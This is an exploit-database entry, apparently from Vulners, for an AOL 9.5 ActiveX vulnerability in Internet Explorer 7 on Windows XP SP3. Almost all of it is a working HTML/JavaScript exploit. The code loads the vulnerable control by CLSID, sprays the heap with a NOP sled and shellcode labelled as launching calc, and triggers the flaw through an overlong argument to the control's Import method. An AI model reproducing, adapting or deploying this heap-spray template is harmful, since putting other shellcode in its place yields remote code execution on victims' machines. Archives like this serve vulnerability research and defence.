AOL 9.5 ActiveX 0day Exploit (heap spray)

🗓️ 01 Jul 2014 00:00:00Reported by RootType

AOL 9.5 ActiveX 0day Exploit (heap spray) discovered by Dz_attacker for Windows Xp SP3, IE


                                                &#60;html&#62;
 &#60;head&#62;
  &#60;title&#62;AOL 9.5 ActiveX 0day Exploit (heap spray) &#60;/title&#62;
**************************************
&#60;br&#62;[+] AOL 9.5 ActiveX 0day Exploit (heap spray)&#60;/br&#62;
&#60;br&#62;[+] Author : Dz_attacker&#60;/br&#62;
&#60;br&#62;[+] Discovered by: Hellcode Research  (http://www.hellcode.net)
&#60;br&#62;[+] Reference: http://www.exploit-db.com/exploits/11190
&#60;br&#62;[+] Tested on Windows Xp SP3 ,IE7&#60;/br&#62;
**************************************


&#60;object classid=&#39;clsid:A105BD70-BF56-4D10-BC91-41C88321F47C&#39; id=&#39;aol&#39;&#62;&#60;/object&#62;
&#60;script language=&#39;javascript&#39;&#62;

// win32_exec -  calc
shellcode = unescape(&#39;%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395&#39;+
					&#39;%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1&#39;+
					&#39;%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e&#39;+
					&#39;%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5&#39;+
					&#39;%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f&#39;+
					&#39;%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5&#39;+
					&#39;%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525&#39;+
					&#39;%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e&#39;);
					
	 nops=unescape(&#39;%u9090%u9090&#39;);
	 headersize =20;
	 slackspace= headersize + shellcode.length;
	while(nops.length&#60; slackspace) nops+= nops;
	 fillblock= nops.substring(0, slackspace);
	 block= nops.substring(0, nops.length- slackspace);
	while( block.length+ slackspace&#60;0x40000) block= block+ block+ fillblock;
	 memory=new Array();
	for( counter=0; counter&#60;200; counter++) memory[counter]= block + shellcode;
	 ret=&#39;&#39;;
	for( counter=0; counter&#60;=1000; counter++) ret+=unescape(&#34;%0a%0a%0a%0a&#34;);
	aol.Import(ret,&#34;Dz_attacker&#34;,&#34;True&#34;,&#34;True&#34;);
&#60;/script&#62;
&#60;/head&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1